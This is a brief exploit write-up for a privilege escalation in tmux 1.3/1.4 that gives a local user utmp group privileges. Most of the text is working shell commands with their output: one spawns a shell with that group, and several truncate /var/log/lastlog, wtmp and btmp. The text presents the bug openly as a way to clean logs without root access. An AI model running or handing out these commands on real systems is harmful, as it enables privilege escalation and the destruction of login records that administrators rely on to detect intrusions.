INTRODUCTION
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.

Execute shell as utmp group
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'
